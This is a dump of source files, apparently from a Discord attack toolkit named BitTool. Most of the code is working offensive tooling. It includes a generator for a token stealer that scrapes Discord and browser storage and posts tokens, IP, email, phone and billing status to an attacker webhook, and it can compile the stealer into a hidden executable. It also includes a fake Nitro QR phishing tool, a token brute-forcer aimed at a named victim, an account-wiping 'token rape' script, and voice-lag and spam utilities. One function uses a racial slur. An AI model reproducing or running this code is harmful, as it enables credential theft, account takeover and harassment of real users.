+ "\\\\Discord", 46 | "Discord Canary" : ROAMING + "\\\\discordcanary", 47 | "Discord PTB" : ROAMING + "\\\\discordptb", 48 | "Google Chrome" : LOCAL + "\\\\Google\\\\Chrome\\\\User Data\\\\Default", 49 | "Opera" : ROAMING + "\\\\Opera Software\\\\Opera Stable", 50 | "Brave" : LOCAL + "\\\\BraveSoftware\\\\Brave-Browser\\\\User Data\\\\Default", 51 | "Yandex" : LOCAL + "\\\\Yandex\\\\YandexBrowser\\\\User Data\\\\Default" 52 | } 53 | def getheaders(token=None, content_type="application/json"): 54 | headers = { 55 | "Content-Type": content_type, 56 | "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11" 57 | } 58 | if token: 59 | headers.update({"Authorization": token}) 60 | return headers 61 | def getuserdata(token): 62 | try: 63 | return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=getheaders(token))).read().decode()) 64 | except: 65 | pass 66 | def gettokens(path): 67 | path += "\\\\Local Storage\\\\leveldb" 68 | tokens = [] 69 | for file_name in os.listdir(path): 70 | if not file_name.endswith(".log") and not file_name.endswith(".ldb"): 71 | continue 72 | for line in [x.strip() for x in open(f"{path}\\\\{file_name}", errors="ignore").readlines() if x.strip()]: 73 | for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"): 74 | for token in findall(regex, line): 75 | tokens.append(token) 76 | return tokens 77 | def getip(): 78 | ip = "None" 79 | try: 80 | ip = urlopen(Request("https://api.ipify.org")).read().decode().strip() 81 | except: 82 | pass 83 | return ip 84 | def getavatar(uid, aid): 85 | url = f"https://cdn.discordapp.com/avatars/{uid}/{aid}.gif" 86 | try: 87 | urlopen(Request(url)) 88 | except: 89 | url = url[:-4] 90 | return url 91 | def gethwid(): 92 | p = Popen("wmic csproduct get uuid", shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) 93 | return (p.stdout.read() + p.stderr.read()).decode().split("\\n")[1] 94 | def getchat(token, uid): 95 | try: 96 | return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/channels", headers=getheaders(token), data=dumps({"recipient_id": uid}).encode())).read().decode())["id"] 97 | except: 98 | pass 99 | def has_payment_methods(token): 100 | try: 101 | return bool(len(loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=getheaders(token))).read().decode())) > 0) 102 | except: 103 | pass 104 | def send_message(token, chat_id, form_data): 105 | try: 106 | urlopen(Request(f"https://discordapp.com/api/v6/channels/{chat_id}/messages", headers=getheaders(token, "multipart/form-data; boundary=---------------------------325414537030329320151394843687"), data=form_data.encode())).read().decode() 107 | except: 108 | pass 109 | def main(): 110 | cache_path = ROAMING + "\\\\.cache~$" 111 | embeds = [] 112 | working = [] 113 | checked = [] 114 | already_cached_tokens = [] 115 | working_ids = [] 116 | ip = getip() 117 | pc_username = os.getenv("UserName") 118 | pc_name = os.getenv("COMPUTERNAME") 119 | for platform, path in PATHS.items(): 120 | if not os.path.exists(path): 121 | continue 122 | for token in gettokens(path): 123 | if token in checked: 124 | continue 125 | checked.append(token) 126 | uid = None 127 | if not token.startswith("mfa."): 128 | try: 129 | uid = b64decode(token.split(".")[0].encode()).decode() 130 | except: 131 | pass 132 | if not uid or uid in working_ids: 133 | continue 134 | user_data = getuserdata(token) 135 | if not user_data: 136 | continue 137 | working_ids.append(uid) 138 | working.append(token) 139 | username = user_data["username"] + "#" + str(user_data["discriminator"]) 140 | user_id = user_data["id"] 141 | avatar_id = user_data["avatar"] 142 | avatar_url = getavatar(user_id, avatar_id) 143 | email = user_data.get("email") 144 | phone = user_data.get("phone") 145 | nitro = bool(user_data.get("premium_type")) 146 | billing = bool(has_payment_methods(token)) 147 | embed = { 148 | "color": 0x7289da, 149 | "fields": [ 150 | { 151 | "name": "**Account Info**", 152 | "value": f'Email: {email}\\nPhone: {phone}\\nNitro: {nitro}\\nBilling Info: {billing}', 153 | "inline": True 154 | }, 155 | { 156 | "name": "**PC Info**", 157 | "value": f'IP: {ip}\\nUsername: {pc_username}\\nPC Name: {pc_name}\\nToken Location: {platform}', 158 | "inline": True 159 | }, 160 | { 161 | "name": "**Token**", 162 | "value": token, 163 | "inline": False 164 | } 165 | ], 166 | "author": { 167 | "name": f"{username} ({user_id})", 168 | "icon_url": avatar_url 169 | }, 170 | "footer": { 171 | 172 | } 173 | } 174 | embeds.append(embed) 175 | with open(cache_path, "a") as file: 176 | for token in checked: 177 | if not token in already_cached_tokens: 178 | file.write(token + "\\n") 179 | if len(working) == 0: 180 | working.append('123') 181 | webhook = { 182 | "content": "", 183 | "embeds": embeds, 184 | "username": "Discord Token Grabber", 185 | "avatar_url": "https://discordapp.com/assets/5ccabf62108d5a8074ddd95af2211727.png" 186 | } 187 | try: 188 | urlopen(Request("~~TOKENURLHERE~~", data=dumps(webhook).encode(), headers=getheaders())) 189 | except: 190 | pass 191 | 192 | main()""".replace("~~TOKENURLHERE~~", webhooklink)) 193 | 194 | except Exception as e: 195 | print(f"""\n\n\n\n{y}[{Fore.LIGHTRED_EX }!{y}]{w} Error writing file: {e}""") 196 | os.system(2) 197 | os.system('cls') 198 | main() 199 | 200 | print(f"""\n\n\n{y}[{Fore.LIGHTGREEN_EX }!{y}]{w} File has been correctly written to "temp/{fileName}.py" """) 201 | convert = input(f"""\n{y}[{b}#{y}]{w} Convert your script into an executable (Y/N) ? """) 202 | if convert == 'Y' or convert == 'y': 203 | time.sleep(1) 204 | os.system('cls') 205 | print(f'{y}[{b}#{y}]{w} File creation...') 206 | time.sleep(1) 207 | os.system(f"pyinstaller -y -F -w --distpath temp --specpath temp --workpath temp temp/{fileName}.py") 208 | os.system('cls') 209 | print(f'{y}[{b}#{y}]{w} Cleaning up old files...') 210 | time.sleep(1) 211 | os.remove(f"temp/{fileName}.spec") 212 | shutil.rmtree(f"temp/{fileName}") 213 | shutil.rmtree(f"temp/__pycache__") 214 | time.sleep(1) 215 | os.system('cls') 216 | tokengrabbertitle() 217 | print(f"""{y}[{Fore.LIGHTGREEN_EX }!{y}]{w} The executable file has been correctly generated""") 218 | input(f"""{y}[{b}#{y}]{w} Press ENTER to exit""") 219 | else: 220 | input(f"""{y}[{b}#{y}]{w} Press ENTER to exit""") 221 | main() 222 | 223 | tokengrabber() 224 | -------------------------------------------------------------------------------- /Additional_File/7_TokenFakeQr/chromedriver.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BitStore-dev/BitTool/a395a1a8bb2e958e0fa5c79bc0fbbbdfc5995606/Additional_File/7_TokenFakeQr/chromedriver.exe -------------------------------------------------------------------------------- /Additional_File/7_TokenFakeQr/fakeqr.py: -------------------------------------------------------------------------------- 1 | import os, sys, time, os.path, random, base64, ctypes 2 | from colorama import Fore 3 | from selenium import webdriver 4 | from PIL import Image 5 | from bs4 import BeautifulSoup 6 | 7 | def fakeqr(): 8 | os.system('cls') 9 | fakeqrtitle() 10 | print(f"""{y}[{w}+{y}]{w} Disfunction: \n""") 11 | print(f""" {y}[{Fore.LIGHTRED_EX }!{y}]{w} Do not close the GoogleChrome window or you will not be able to log in\n""") 12 | print(f""" {y}[{Fore.LIGHTRED_EX }!{y}]{w} The FakeNitro expires after 1min20, so be quick\n\n\n""") 13 | input(f"""{y}[{b}#{y}]{w} Press ENTER to continue""") 14 | options = webdriver.ChromeOptions() 15 | options.add_experimental_option('excludeSwitches', ['enable-logging']) 16 | options.add_experimental_option('detach', True) 17 | driver = webdriver.Chrome(options=options, executable_path=r'Additional_File/7_TokenFakeQr/chromedriver.exe') 18 | driver.get('https://discord.com/login') 19 | time.sleep(5) 20 | page_source = driver.page_source 21 | soup = BeautifulSoup(page_source, features='lxml') 22 | div = soup.find('div', {'class': 'qrCode-wG6ZgU'}) 23 | qr_code = div.find('img')['src'] 24 | file = os.path.join(os.getcwd(), 'Additional_File/7_TokenFakeQr/img/qr_code.png') 25 | img_data = base64.b64decode(qr_code.replace('data:image/png;base64,', '')) 26 | with open(file,'wb') as handler: 27 | handler.write(img_data) 28 | discord_login = driver.current_url 29 | bg = Image.open('Additional_File/7_TokenFakeQr/img/back.png') 30 | qrcode = Image.open('Additional_File/7_TokenFakeQr/img/qr_code.png') 31 | qrcode = qrcode.resize(size=(127, 127)) 32 | bg.paste(qrcode, (87, 313)) 33 | discord = Image.open('Additional_File/7_TokenFakeQr/img/discord.png') 34 | discord = discord.resize(size=(40, 40)) 35 | bg.paste(discord, (130, 355), discord) 36 | bg.save('temp/NitroGift.png') 37 | print(f"""\n{y}[{Fore.LIGHTGREEN_EX }+{y}]{w} QR Code has been generated - [Image: "temp/NitroGift.png"] \n""") 38 | while True: 39 | if discord_login != driver.current_url: 40 | token = driver.execute_script(''' 41 | var req = webpackJsonp.push([ 42 | [], { 43 | extra_id: (e, t, r) => e.exports = r 44 | }, 45 | [ 46 | ["extra_id"] 47 | ] 48 | ]); 49 | for (let e in req.c) 50 | if (req.c.hasOwnProperty(e)) { 51 | let t = req.c[e].exports; 52 | if (t && t.__esModule && t.default) 53 | for (let e in t.default) "getToken" === e && (token = t.default.getToken()) 54 | } 55 | return token; 56 | ''') 57 | print(f"""{y}[{w}+{y}]{w} A token has been found: {token}""") 58 | break 59 | print(f"""\n\n{y}[{Fore.LIGHTGREEN_EX }!{y}]{w} The FakeNitro has been scanned - Token successfully grabbed""") 60 | input(f"""{y}[{b}#{y}]{w} Press ENTER to exit""") 61 | main() 62 | 63 | fakeqr() 64 | -------------------------------------------------------------------------------- /Additional_File/7_TokenFakeQr/img/back.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:2d47f1b39539087bf670fa0f769057d66af1e5d10f397c7f768f422b2127af4d 3 | size 52070 4 | -------------------------------------------------------------------------------- /Additional_File/7_TokenFakeQr/img/discord.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:703e0c41341ad2e5143dc8d47d414e10aeaa5f052d399d951c3df0d3f1883a2e 3 | size 2454 4 | -------------------------------------------------------------------------------- /Additional_File/7_TokenFakeQr/img/qr_code.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:25fd24d10fdf95e530aaea5d682cbab2c40705a8c46e49be224f42b6e9e77298 3 | size 3233 4 | -------------------------------------------------------------------------------- /Additional_File/8_TokenBrutForce/brutforcetoken.py: -------------------------------------------------------------------------------- 1 | import string, discord, os, json, datetime, random, time, base64, ctypes 2 | import requests as req 3 | from threading import Thread as thr 4 | from colorama import Fore 5 | from discord.ext import commands 6 | from discord.ext.commands import Bot 7 | from plyer import notification 8 | 9 | def brutforce(): 10 | os.system('cls') 11 | brutforcetitle() 12 | print(f"""{y}[{w}+{y}]{w} Enter your own account token: """) 13 | TOKEN = str(input(f"""\n{y}[{b}#{y}]{w} Token: """)) 14 | 15 | def notifyMe(title, message): 16 | notification.notify( 17 | title = title, 18 | message = message 19 | ) 20 | 21 | class MyClient(discord.Client): 22 | async def on_ready(self): 23 | print(f"""\n\n{y}[{w}+{y}]{w} Enter the Victim's ID: """) 24 | userid = input(f"""\n{y}[{b}#{y}]{w} Victim ID: """) 25 | try: 26 | global user 27 | user = await client.fetch_user(int(userid)) 28 | stamp = user.created_at 29 | timestamp = str(time.mktime(stamp.timetuple())) 30 | encodedBytes = base64.b64encode(userid.encode("utf-8")) 31 | encodedid = str(encodedBytes, "utf-8") 32 | encodedBytes = base64.b64encode(timestamp.encode("utf-8")) 33 | encodedstamp = str(encodedBytes, "utf-8") 34 | print(f"""\n\n\n\n\n\n\n{y}[{Fore.LIGHTGREEN_EX }+{y}]{w} Attempting to crack {user}'s token""") 35 | input(f"""{y}[{b}#{y}]{w} Press ENTER to Valid""") 36 | os.system('cls') 37 | time.sleep(1) 38 | for i in range(10000): 39 | thr(target = gen, args = (encodedid, encodedstamp)).start() 40 | except: 41 | print(f""" {y}[{Fore.LIGHTRED_EX }!{y}]{w} Your entry is invalid !""") 42 | time.sleep(2) 43 | os.system('cls') 44 | main() 45 | 46 | def gen(encodedid, encodedstamp): 47 | while True: 48 | second = ('').join(random.choices(string.ascii_letters + string.digits + "-" + "_", k=6)) 49 | end = ('').join(random.choices(string.ascii_letters + string.digits + "-" + "_", k=27)) 50 | token = f"{encodedid}.{second}.{end}" 51 | headers = {'Content-Type': 'application/json', 'authorization': token} 52 | url = "https://discordapp.com/api/v6/users/@me/library" 53 | r = req.get(url, headers=headers) 54 | if r.status_code == 200: 55 | print(f'{token} : Valid') 56 | notifyMe(f"""{w}[{Fore.GREEN}!{w}]{Fore.GREEN} VALID TOKEN{w} : {token}""") 57 | f = open("temp/BrutForceToken.txt", "a") 58 | f.write(token) 59 | f.close() 60 | main() 61 | else: 62 | print(f"""{w}[{Fore.RED}!{w}]{Fore.RED} INVALID TOKEN{w} : {token}""") 63 | 64 | try: 65 | token = os.environ.get(TOKEN) 66 | client = MyClient() 67 | client.run(TOKEN, bot=False) 68 | except: 69 | print(f""" {y}[{Fore.LIGHTRED_EX }!{y}]{w} There is a problem with your Token.""") 70 | time.sleep(2) 71 | os.system('cls') 72 | main() 73 | 74 | brutforce() 75 | -------------------------------------------------------------------------------- /Additional_File/9_TokenRape/tokenrape.py: -------------------------------------------------------------------------------- 1 | from re import M 2 | import requests, time, sys, os, ctypes 3 | from colorama import Fore 4 | 5 | def tokenrape(): 6 | os.system('cls') 7 | tokenrapetitle() 8 | print(f"""{y}[{w}+{y}]{w} Enter the token of the account you want to rape: """) 9 | token = str(input(f"""{y}[{b}#{y}]{w} Token: """)) 10 | try: 11 | headers = { 12 | 'User-Agent' : 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7', 13 | 'Authorization' : token 14 | } 15 | 16 | payload = {"theme" : "light","locale" : "ja","message_display_compact" : True,"inline_embed_media" : False,"gif_auto_play" : False,"render_embeds" : False,"render_reactions" : False,"animate_emoji" : False,"convert_emoticons" : False,"enable_tts_command" : False,"explicit_content_filter" : 0,"status" : "invisible"} 17 | 18 | print(f"""\n\n{y}[{Fore.LIGHTGREEN_EX }+{y}]{w} Changeing settings""") 19 | input(f"""{y}[{b}#{y}]{w} Press ENTER to Changing Settings""") 20 | requests.patch( 21 | "https://canary.discordapp.com/api/v6/users/@me/settings", 22 | headers = headers, 23 | json = payload 24 | ) 25 | print(f"\n{y}[{Fore.LIGHTGREEN_EX }+{y}]{w} Detecting servers\n") 26 | time.sleep(1) 27 | 28 | guilds = requests.get( 29 | "https://discord.com/api/v6/users/@me/guilds", 30 | headers = headers 31 | ).json() 32 | 33 | print(f""" {y}[{w}+{y}]{w} {len(guilds)} servers found\n""") 34 | input(f"""{y}[{b}#{y}]{w} Press ENTER to leave all Servers""") 35 | 36 | for i in guilds: 37 | try: 38 | print(f""" {y}[{Fore.LIGHTRED_EX }!{y}]{w} Leaving {i['name']} | Owner: {i['owner']}""") 39 | if not i["owner"]: 40 | responce = requests.delete( 41 | f"https://discord.com/api/users/@me/guilds/{i['id']}", 42 | headers = headers 43 | ) 44 | else: 45 | responce = requests.delete( 46 | f"https://discord.com/api/guilds/{i['id']}", 47 | headers = headers 48 | ) 49 | except Exception as e: 50 | print(e) 51 | 52 | print(f"\n{y}[{Fore.LIGHTGREEN_EX }+{y}]{w} Detecting DM channels\n") 53 | time.sleep(1) 54 | 55 | dms = requests.get( 56 | "https://discord.com/api/v6/users/@me/channels", 57 | headers = headers 58 | ).json() 59 | print(f""" {y}[{w}+{y}]{w} {len(guilds) - 1} DM channels found\n""") 60 | input(f"""{y}[{b}#{y}]{w} Press ENTER to leave all DM""") 61 | 62 | for i in dms: 63 | print(f""" {y}[{Fore.LIGHTRED_EX }!{y}]{w} Leaving DM channel with: {', '.join([x['username'] for x in i['recipients']])}""") 64 | responce = requests.delete( 65 | f"https://discord.com/api/channels/{i['id']}", 66 | headers = headers 67 | ) 68 | 69 | print(f"\n{y}[{Fore.LIGHTGREEN_EX }+{y}]{w} Detecting relationships\n") 70 | time.sleep(1) 71 | 72 | relations = requests.get( 73 | "https://discord.com/api/v8/users/@me/relationships", 74 | headers = headers 75 | ).json() 76 | 77 | relations = [i for i in relations if i["type"] != 0] 78 | 79 | print(f""" {y}[{w}+{y}]{w} {len(relations)} relationships found""") 80 | input(f"""{y}[{b}#{y}]{w} Press ENTER to remove all friends""") 81 | 82 | for i in relations: 83 | print(f"""\n {y}[{Fore.LIGHTRED_EX }!{y}]{w} Removing {i['user']['username']} from relationships""") 84 | responce = requests.put( 85 | f"https://discord.com/api/v8/users/@me/relationships/{i['user']['id']}", 86 | headers = headers, 87 | json = {"type":0} 88 | ) 89 | 90 | guild = { 91 | "channels" : None, 92 | "icon" : "https://www.pngmagic.com/product_images/three-hearts-png.png", 93 | "name" : "Love U", 94 | "region" : "japan" 95 | } 96 | requests.post( 97 | 'https://discordapp.com/api/v6/guilds', 98 | headers = headers, 99 | json = guild 100 | ) 101 | 102 | print(f"""\n\n{y}[{b}#{y}]{w} Account has been successfully raped""") 103 | input(f"""{y}[{b}#{y}]{w} Press ENTER to exit""") 104 | 105 | except: 106 | print(f""" {y}[{Fore.LIGHTRED_EX }!{y}]{w} There is a problem with your Token.""") 107 | time.sleep(2) 108 | os.system('cls') 109 | main() 110 | 111 | tokenrape() 112 | -------------------------------------------------------------------------------- /BitTool.py: -------------------------------------------------------------------------------- 1 | import os 2 | from selenium import webdriver 3 | import requests 4 | import json as js2,threading 5 | import websocket 6 | import asyncio 7 | import getpass 8 | import aiosonic 9 | import names 10 | import sys 11 | import cfscrape 12 | import time 13 | import re 14 | import threading 15 | from threading import Thread 16 | from tasksio import TaskPool 17 | from colorama import init, Fore, Back, Style 18 | from itertools import cycle 19 | import random 20 | from subprocess import call 21 | import os.path 22 | import ctypes 23 | 24 | os.system('cls') 25 | 26 | ctypes.windll.kernel32.SetConsoleTitleW("BitTool") 27 | 28 | banner = """ 29 | __________.__ __ ___________ .__ 30 | \______ \__|/ |\__ ___/___ ____ | | 31 | | | _/ \ __\| | / _ \ / _ \| | 32 | | | \ || | | |( <_> | <_> ) |__ 33 | |______ /__||__| |____| \____/ \____/|____/ 34 | \/ 35 | 36 | """ 37 | 38 | def deletewebhook(url): 39 | return requests.delete(url) 40 | 41 | 42 | def vclag(): 43 | while True: 44 | try: 45 | ws = websocket.create_connection(f"{ws_server}",origin=f"https://discord.com") 46 | ws.send(js2.dumps({"op":0,"d":{"server_id":f"{serverid}","user_id":f"{myuid}","session_id":f"{sessionid}","token":f"{tokenn}","video":True,"streams":[{"type":"video","rid":"100","quality":-1},{"type":"video","rid":"50","quality":9223372036854775807}]}},separators=(",", ":")).encode("UTF-8")) 47 | ws.send(js2.dumps({"op":12,"d":{"audio_ssrc":-1,"video_ssrc":-1,"rtx_ssrc":9223372036854775807,"streams":[{"type":"video","rid":"100","ssrc":-1,"active":True,"quality":9223372036854775807,"rtx_ssrc":9223372036854775807,"max_bitrate":9223372036854775807,"max_framerate":9223372036854775807,"max_resolution":{"type":"fixed","width":9223372036854775807,"height":9223372036854775807}}]}},separators=(",", ":")).encode("UTF-8")) 48 | ws.send(js2.dumps({"op":5,"d":{"speaking":9223372036854775807,"delay":-1,"ssrc":9223372036854775807}},separators=(",", ":")).encode("UTF-8")) 49 | ws.send(js2.dumps({"op":3,"d":-1},separators=(",", ":")).encode("UTF-8")) 50 | ws.close() 51 | except Exception as e: 52 | print(e) 53 | pass 54 | 55 | threads = [] 56 | 57 | TOKENS_LOADED = 0 58 | TOKENS_INVALID = 0 59 | TOKENS_LOCKED = 0 60 | TOKENS_VALID = 0 61 | TOKENS_VALID_LIST = [] 62 | 63 | 64 | def filter_tokens(unfiltered): 65 | tokens = [] 66 | 67 | for line in [x.strip() for x in unfiltered.readlines() if x.strip()]: 68 | for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'): 69 | for token in re.findall(regex, line): 70 | if token not in tokens: 71 | tokens.append(token) 72 | return tokens 73 | 74 | def title_worker(): 75 | global TOKENS_INVALID, TOKENS_LOCKED, TOKENS_VALID, TOKENS_LOADED 76 | while True: 77 | time.sleep(0.1) 78 | 79 | 80 | threading.Thread(target=title_worker, daemon=True).start() 81 | 82 | async def check(token, client): 83 | global TOKENS_INVALID, TOKENS_LOCKED, TOKENS_VALID, TOKENS_VALID_LIST 84 | 85 | response = await client.get("https://discord.com/api/v9/users/@me/guild-events", headers={ 86 | "Authorization": token, 87 | "Content-Type": "application/json" 88 | }) 89 | 90 | if response.status_code == 200: 91 | TOKENS_VALID += 1 92 | TOKENS_VALID_LIST.append(token) 93 | print(f'{Fore.GREEN}[VALID] {token}') 94 | 95 | elif response.status_code == 401: 96 | TOKENS_INVALID += 1 97 | print(f'{Fore.RED}[INVALID] {token}') 98 | 99 | elif response.status_code == 403: 100 | TOKENS_LOCKED += 1 101 | print(f'{Fore.LIGHTYELLOW_EX}[LOCKED] {token}') 102 | 103 | def leave(guild_id, token): 104 | data = {"lurking": False} 105 | headers = { 106 | "Authorization": 107 | token, 108 | "accept": 109 | "*/*", 110 | "accept-language": 111 | "en-US", 112 | "connection": 113 | "keep-alive", 114 | "cookie": 115 | f'__cfduid={os.urandom(43).hex()}; __dcfduid={os.urandom(32).hex()}; locale=en-US', 116 | "DNT": 117 | "1", 118 | "origin": 119 | "https://discord.com", 120 | "sec-fetch-dest": 121 | "empty", 122 | "sec-fetch-mode": 123 | "cors", 124 | "sec-fetch-site": 125 | "same-origin", 126 | "referer": 127 | "https://discord.com/channels/@me", 128 | "TE": 129 | "Trailers", 130 | "User-Agent": 131 | "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/1.0.9001 Chrome/83.0.4103.122 Electron/9.3.5 Safari/537.36", 132 | "X-Super-Properties": 133 | "eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiRGlzY29yZCBDbGllbnQiLCJyZWxlYXNlX2NoYW5uZWwiOiJzdGFibGUiLCJjbGllbnRfdmVyc2lvbiI6IjEuMC45MDAxIiwib3NfdmVyc2lvbiI6IjEwLjAuMTkwNDIiLCJvc19hcmNoIjoieDY0Iiwic3lzdGVtX2xvY2FsZSI6ImVuLVVTIiwiY2xpZW50X2J1aWxkX251bWJlciI6ODMwNDAsImNsaWVudF9ldmVudF9zb3VyY2UiOm51bGx9" 134 | } 135 | requests.delete("https://discord.com/api/v9/users/@me/guilds/" + str(guild_id), json=data, headers=headers) 136 | 137 | def rape(token): 138 | headers = { 139 | 'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7', 140 | 'Content-Type': 'application/json', 141 | 'Authorization': token, 142 | } 143 | guild = { 144 | 'channels': None, 145 | 'icon': None, 146 | 'name': "nigger", 147 | 'region': "europe" 148 | } 149 | payload = { 150 | 'message_display_compact': False, 151 | 'inline_attachment_media': False, 152 | 'inline_embed_media': False, 153 | 'gif_auto_play': False, 154 | 'theme': 'light', 155 | 'render_embeds': False, 156 | 'animate_emoji': False, 157 | 'convert_emoticons': False, 158 | 'locale': "zh-TW", 159 | 'render_reactions': False, 160 | 'enable_tts_command': False, 161 | 'explicit_content_filter': '0', 162 | 'status': "idle" 163 | } 164 | request = requests.Session() 165 | request.patch("https://canary.discordapp.com/api/v6/users/@me/settings",headers=headers, json=payload) 166 | for i in range(21): 167 | requests.post('https://discordapp.com/api/v6/guilds', headers=headers, json=guild) 168 | async def maincheck(): 169 | global TOKENS_INVALID, TOKENS_LOCKED, TOKENS_VALID, TOKENS_LOADED, TOKENS_VALID_LIST 170 | 171 | client = aiosonic.HTTPClient() 172 | 173 | try: 174 | with open('tokens.txt', 'r') as tokens: 175 | filtered = filter_tokens(tokens) 176 | TOKENS_LOADED = len(filtered) 177 | async with TaskPool(10_000) as pool: 178 | for token in filtered: 179 | await pool.put(check(token, client)) 180 | 181 | print(f"{Fore.WHITE}Tokens Loaded: {TOKENS_LOADED} | Valid: {TOKENS_VALID} | Locked: {TOKENS_LOCKED} | Invalid: {TOKENS_INVALID}") 182 | 183 | with open(f'valid.txt', 'w') as handle: 184 | handle.write('\n'.join(TOKENS_VALID_LIST)) 185 | handle.close() 186 | 187 | input("Saved to valid.txt, click enter to exit.") 188 | 189 | except Exception as e: 190 | print(e) 191 | input('Can\'t open tokens.txt\nClick enter to exit!') 192 | 193 | def sendMessage(message): 194 | request = requests.post(f'{api}channels/{channelId}/messages', json={'content': message}, headers=headersi) 195 | 196 | def main(): 197 | content = input('[Message To Send] -> ') 198 | 199 | sendMessage(content) 200 | 201 | def randstr(lenn) : 202 | alpha = "abcdefghijklmnopqrstuvwxyz0123456789" 203 | text = '' 204 | for i in range(0,lenn): 205 | text += alpha[random.randint(0,len(alpha)-1)] 206 | 207 | return text 208 | 209 | pool_sema = threading.Semaphore(value=30) 210 | 211 | 212 | def thread(): 213 | channel_id = channel 214 | text = mess 215 | for token in tokens: 216 | time.sleep(int(delay)) 217 | threading.Thread(target=spam, args=(token, channel_id, text)).start() 218 | 219 | 220 | def join(invite, token): 221 | headers = { 222 | "Authorization": 223 | token, 224 | "accept": 225 | "*/*", 226 | "accept-language": 227 | "en-US", 228 | "connection": 229 | "keep-alive", 230 | "cookie": 231 | f'__cfduid={os.urandom(43).hex()}; __dcfduid={os.urandom(32).hex()}; locale=en-US', 232 | "DNT": 233 | "1", 234 | "origin": 235 | "https://discord.com", 236 | "sec-fetch-dest": 237 | "empty", 238 | "sec-fetch-mode": 239 | "cors", 240 | "sec-fetch-site": 241 | "same-origin", 242 | "referer": 243 | "https://discord.com/channels/@me", 244 | "TE": 245 | "Trailers", 246 | "User-Agent": 247 | "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/1.0.9001 Chrome/83.0.4103.122 Electron/9.3.5 Safari/537.36", 248 | "X-Super-Properties": 249 | "eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiRGlzY29yZCBDbGllbnQiLCJyZWxlYXNlX2NoYW5uZWwiOiJzdGFibGUiLCJjbGllbnRfdmVyc2lvbiI6IjEuMC45MDAxIiwib3NfdmVyc2lvbiI6IjEwLjAuMTkwNDIiLCJvc19hcmNoIjoieDY0Iiwic3lzdGVtX2xvY2FsZSI6ImVuLVVTIiwiY2xpZW50X2J1aWxkX251bWJlciI6ODMwNDAsImNsaWVudF9ldmVudF9zb3VyY2UiOm51bGx9" 250 | } 251 | requests.post("https://discordapp.com/api/v9/invites/" + invite, headers=headers) 252 | 253 | def getheaders(token=None, content_type="application/json"): 254 | headers = { 255 | "Content-Type": content_type, 256 | "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11" 257 | } 258 | if token: 259 | headers.update({"Authorization": token}) 260 | return headers 261 | 262 | user = getpass.getuser() 263 | while True: 264 | print(banner) 265 | print(f"""\n{Fore.BLUE}[1]{Fore.RESET} Delete Webhook 266 | {Fore.BLUE}[2]{Fore.RESET} VC Lagger 267 | {Fore.BLUE}[3]{Fore.RESET} Fast Token Checker 268 | {Fore.BLUE}[4]{Fore.RESET} Mass Report [Not Done] 269 | {Fore.BLUE}[5]{Fore.RESET} Token rape 270 | {Fore.BLUE}[6]{Fore.RESET} 2K Characters Bypass 271 | {Fore.BLUE}[7]{Fore.RESET} Block Bypass 272 | {Fore.BLUE}[8]{Fore.RESET} Mass DM Friends 273 | {Fore.BLUE}[9]{Fore.RESET} Token Grabber [Python] 274 | {Fore.BLUE}[10]{Fore.RESET} Hypesquad Changer 275 | {Fore.BLUE}[11]{Fore.RESET} Webhook Spammer 276 | {Fore.BLUE}[12]{Fore.RESET} Token login 277 | {Fore.BLUE}[13]{Fore.RESET} Raiding Tools 278 | {Fore.BLUE}[14]{Fore.RESET} Token Information 279 | {Fore.RED}[15]{Fore.RESET} Other Tools""") 280 | choice = input(">: ") 281 | if choice == '1': 282 | webhook = input("Webhook URL: ") 283 | deletewebhook(webhook) 284 | elif choice == '2': 285 | ws_server = input("Websocket: ") 286 | serverid = input("Server ID: ") 287 | myuid = input("Your ID: ") 288 | vid = input("Victim's ID (Anyone in the vc): ") 289 | sessionid = input("Session ID: ") 290 | tokenn = input("Token (not auth): ") 291 | for i in range(100): 292 | t = threading.Thread(target=vclag) 293 | t.daemon = True 294 | threads.append(t) 295 | for i in range(100): 296 | threads[i].start() 297 | for i in range(100): 298 | threads[i].join() 299 | elif choice == '3': 300 | loop = asyncio.get_event_loop() 301 | loop.run_until_complete(maincheck()) 302 | elif choice == '4': 303 | input("Email: ") 304 | input("Subject: ") 305 | input("Description: ") 306 | input("Channel ID: ") 307 | input("Message Link: ") 308 | elif choice == "5": 309 | tokensa = input("Token: ") 310 | rape(tokensa) 311 | elif choice == "6": 312 | skata = input("Token: ") 313 | channel_id = input("Channel ID: ") 314 | chars = ''.join(random.choice('\'"^`|{}') for _ in range(1993)) 315 | lmaoheader = {'Authorization': skata} 316 | requests.post(f'https://discordapp.com/api/v6/channels/{channel_id}/messages', headers=lmaoheader, json={'content': f''}) 317 | elif choice == "7": 318 | api = 'https://discord.com/api/v8/' 319 | tokensat = input('Token -> ') 320 | userId = input('UserId to Message -> ') 321 | headersi = { 322 | 'Authorization': tokensat, 323 | 'Content-Type': 'application/json', 324 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36' 325 | } 326 | requesta = 